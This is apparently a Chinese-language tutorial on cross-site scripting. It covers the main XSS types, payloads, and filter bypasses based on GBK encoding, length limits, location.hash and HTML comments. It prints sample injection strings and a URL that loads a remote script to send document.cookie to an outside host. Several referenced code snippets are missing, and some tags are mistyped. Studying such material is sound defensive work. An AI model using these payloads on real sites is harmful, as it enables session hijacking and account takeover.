一、XSS的分类
反射形XSS:简单的把用户的输入的数据反射给浏览器,也就是诱使用户点击一个链接才能完成攻击,所以也叫非持续性XSS
一个网页
正常提交http://www.nor.com/1.php?param=测试!
网页显示“测试!”
当提交一段代码http://www.nor.com/1.php?param=<script>alert(/xss/)</csript>,网页显示弹窗
存储型XSS:攻击者把用户输入的数据“存储”到服务器,应用场景有,黑客可发布一篇含有恶意Js脚本的博客文章,只要用户浏览博客,都会在他们浏览器执行这段恶意代码。存储型XSS也叫持续性XSS
DOM Based XSS:实际也是反射型XSS,只不过属于特殊的反射型,所单独列出来。该方式是通过修改页面的DOM节点形成的XSS攻击,所以称之为DOM Based XSS
点击“”write“按钮后,会在当前的页面插入一个超链接,地址内容为文本框内容。
所以,当别有用心插入一段代码时,‘onclick=alert(/xss/) //,页面代码变成
以上代码先用单引号闭合href,然后插入onclick,最后//注释后面的内容
另外还可以注释掉<a>标签,攻击形式相似。
二、XSSpayload
当完成XSS攻击后,黑客就能对用户浏览的页面植入恶意脚本,通过脚本,控制用户浏览器。完成这种攻击的脚本,就叫做“XSSpayload”,实际上就是JavaScript
最常见的XSS Payload就是完成Cookie的劫持,例如加载一个远程脚本
加载链接:http://www.text.com/test.html?abc="<script crc=http://www.xspl.com.xsspayload.js></script>"(真正的payload都是写在远程脚本中,避免URL代码参数过长)
当攻击脚本执行的时候,这段代码会插入一张看不见的照片,同时吧document.cookie作为参数对象发送给远程服务器,而脚本中的www.xspl.com/log不一定要存在,当执行脚本的时候,远程服务器web中已经有日志记录。
再利用工具,就能通过cookie登录用户相关网站
当然,并不是所有cookie劫持都有用,当用户网站设定了IP与COOKie绑定,关键cookie植入httpOnly标示。
但是并不是就没有办法了,攻击者仍然有其他方式控制用户浏览器,比如构造GET和POST请求。
比如,假设某博客网站存在XSS漏洞,攻击者就可以通过一张照片发起get请求实现跨站删除博客的操作,前提是知道文章的ID
初次之外,还可以进行POST攻击。攻击者可以通过构建表单(多参数可以用dom节点)或者XMLHttpRequest的方式,发送POST请求。由此,通过JS脚本发起的POST请求模拟浏览器发包,就能完成XSS攻击。
此外,XSS的作用和攻击面还有如下几种:
1、XSS钓鱼攻击:互动型的XSS攻击,一些网站加了动态验证码来阻止XSS,那是不是就没有办法了,并不是,黑客可以构建一些表单,让用户输入当前的验证码,然后就按以上的方法进行再次的XSS。
2、识别用户浏览器:每个用户浏览器和不同版本有自身特征,黑客根据特征来识别浏览器,然后做针对性的攻击行为
3、识别用户已安装软件:识别用户浏览器信息后,可以进行软件识别,某些软件可能存在漏洞,可以用来做攻击点使用,通过问题软件实现攻击目的
三、XSS的构造技巧
利用字符编码
经典案例:baidu在一个<script>中输出一个变量,其中转义了双引号
一般来说不存在XSS,因为变量的双引号用了\转义,变量无法escape。但是baidu用的编码是GBK/GB2312,所以当‘%c1\’这两个字符串在一起后,就变成新的一个Unicode字符,frefox会认为是一个字符构造出
也就是转义字符\被吃掉了,firefox上变成下图,绕过安全检查
绕过长度检查
很多产生XSS漏洞的地方,变量都有长度限制,比如假设以下代码存在XSS漏洞
服务端对var做了长度限制,那么我们可以构造$var为
理想输出效果为
但是,当限制的字符为20个的时候
没有一个完整的函数,所以,这时候攻击者可以利用事件(Event)比如点击事件,来缩短所需字节数,将$var输出为
当加上空格就刚好20个字符,也就是
当用户点击文本框,就自动打开弹窗。显示 1
但是利用事件缩短的字符数有限,最好还是将XSSpayload,通过远程的方式来加载。
比如用“location.hash”的方式
因为loaction的第一个字符必须是#,所以必须除去第一个字符(substr(1))
构造出如下URL,所以只要点击文本框,就会弹出alert页面
此外,当可以控制两个文本框的时候,第二个文本框允许填写更多内容,可以利用HTML的注释符号,将两个文本框之间 的HTML代码打通,从而链接两个<input>标签
在第一个文本框中输入 ‘“><!--
在第二个文本框中输入--><script>alert(/xss/);</script>
最终效果就是
<!-- -->之间的代码全部被注释了,在id=1的文本框中,只用了6个字符。
此外XSS的攻击面和方式还有很多,比如Flash XSS,Anehta回旋镖等等,需要一个个认识体会各自妙用。